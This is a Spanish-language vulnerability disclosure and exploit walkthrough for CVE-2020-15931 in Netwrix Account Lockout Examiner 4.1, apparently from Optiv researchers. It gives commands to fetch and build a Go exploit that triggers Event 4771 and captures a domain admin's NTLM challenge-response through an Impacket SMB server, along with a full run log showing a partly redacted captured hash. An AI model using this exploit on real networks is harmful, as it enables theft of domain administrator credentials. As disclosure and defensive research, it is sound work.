
Netwrix Account Lockout Examiner 4.1 Vulnerabilidad de divulgación de credenciales de cuenta de administrador de dominio
Netwrix Account Lockout Examiner (ALE) anterior a la versión 5.1 permite que un adversario remoto no autenticado provoque una conexión a un sistema controlado por el atacante y capture el challenge-response NTLMv1/v2 de una cuenta con privilegios de administrador de dominio. La cuenta de administrador de dominio ya estaría configurada con el producto, como se requiere para la instalación. Un adversario puede explotar esto generando un único evento Kerberos Pre-Authentication Failed (Event ID 4771) en un controlador de dominio.
Se pueden encontrar más detalles sobre la vulnerabilidad en el siguiente Blog

La vulnerabilidad fue descubierta en la naturaleza por Robert Surace (@robsauce) y Daniel Min (@bigb0ss), consultores de seguridad de Optiv, mientras realizaban una evaluación de seguridad. Tras la identificación de CVE-2020-15931, Optiv contactó de inmediato con Netwrix para divulgar la falla identificada de forma responsable.
El script de explotación fue desarrollado en golang. Instala las siguientes dependencias:
go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config
También utiliza el smbserver.py de Impacket.
pip install impacket
Finalmente, descarga el script de explotación y compílalo.
git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go
$ ./cve-2020-15931
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
Required:
-d Domain name
-dc Domain controller
-u Valid username
Optional:
-h Print this help menu
Example:
./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
(Nota: En el momento de redactar este documento, este ataque solo puede identificarse mediante un ataque basado en ciegas. Esto se debe a que es difícil determinar si la organización objetivo utiliza Netwrix Account Lockout Examiner en su red para auditar las autenticaciones de cuentas o no.)
$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
[+] DC: 10.10.0.2
[+] Domain: bosslab.com
[+] Username: b0ss1
[+] Password: wrongPass
[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!
[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.
[+] SMB Server Started...
Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []
Netwrix Account Lockout Examiner 5.1
Event ID 4771
Impacket smbserver.py
Gokrb5 Client
CVE-2020-15931